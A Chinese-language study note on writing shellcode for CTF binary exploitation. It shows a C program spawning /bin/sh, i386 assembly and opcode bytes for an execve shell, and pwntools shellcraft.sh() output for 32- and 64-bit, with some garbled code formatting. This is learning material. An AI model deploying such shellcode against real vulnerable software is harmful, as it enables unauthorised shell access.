介绍

shellcode 是软件漏洞利用中的一小段机器码

作用

  • 启动shell ,进行交互
  • 打开服务器端口等待连接
  • 反向连接端口

简单shell 程序

  1. #include "stdlib"
  2. #include "unistd.h"
  3. void main(){
  4. system("/bin/sh");
  5. exit(0);
  6. }

软中断

image.png

  1. 设置 ebx 指向 /bin/sh
  2. ecx =0 ,edx = 0
  3. eax =0xb
  4. int 0x80 触发软中断 ```c └─# cat i386.asm ;;nasm -f elf32 i386.asm ;;ld -m elf_i386 -o i386 i386.o ;; objdump -d i386 global _start _start:
    1. push "/sh"
    2. push "/bin"
    3. mov ebx,esp
    4. xor edx,edx;;edx=0
    5. xor ecx,ecx;;ecx=0
    6. mov al,0xb;;set al =0xb
    7. int 0x80
  1. ```c
  2. ─# objdump -d i386
  3. i386: 文件格式 elf32-i386
  4. Disassembly of section .text:
  5. 08049000 <_start>:
  6. 8049000: 68 2f 73 68 00 push $0x68732f
  7. 8049005: 68 2f 62 69 6e push $0x6e69622f
  8. 804900a: 89 e3 mov %esp,%ebx
  9. 804900c: 31 d2 xor %edx,%edx
  10. 804900e: 31 c9 xor %ecx,%ecx
  11. 8049010: b0 0b mov $0xb,%al
  12. 8049012: cd 80 int $0x80

PWNTOOLS 生成

使用pwntools 快速生成对应架构shellcode

  1. 设置目标架构
  2. 生成shellcode

    32 位

    ```python from pwn import * context(log_level=’debug’,arch=’i386’,os=’linux’) shellcode=asm(shellsraft.sh())

/ execve(path=’/bin///sh’, argv=[‘sh’], envp=0) / / push b’/bin///sh\x00’ / push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp / push argument array [‘sh\x00’] / / push ‘sh\x00\x00’ / push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx / null terminate / push 4 pop ecx add ecx, esp push ecx / ‘sh\x00’ / mov ecx, esp xor edx, edx / call execve() / push SYS_execve / 0xb / pop eax int 0x80

  1. <a name="dzBoI"></a>
  2. ### 64位
  3. ```python
  4. from pwn import *
  5. context(log_level='debug',arch='amd64',os='linux')
  6. shellcode=asm(shellcraft.sh())
  7. /* execve(path='/bin///sh', argv=['sh'], envp=0) */
  8. /* push b'/bin///sh\x00' */
  9. push 0x68
  10. mov rax, 0x732f2f2f6e69622f
  11. push rax
  12. mov rdi, rsp
  13. /* push argument array ['sh\x00'] */
  14. /* push b'sh\x00' */
  15. push 0x1010101 ^ 0x6873
  16. xor dword ptr [rsp], 0x1010101
  17. xor esi, esi /* 0 */
  18. push rsi /* null terminate */
  19. push 8
  20. pop rsi
  21. add rsi, rsp
  22. push rsi /* 'sh\x00' */
  23. mov rsi, rsp
  24. xor edx, edx /* 0 */
  25. /* call execve() */
  26. push SYS_execve /* 0x3b */
  27. pop rax
  28. syscall

mrctf2020_shellcode

ciscn_2019_s_9

pwnable_orw

mrctf2020_shellcode_revenge

shellcode 编码|alpha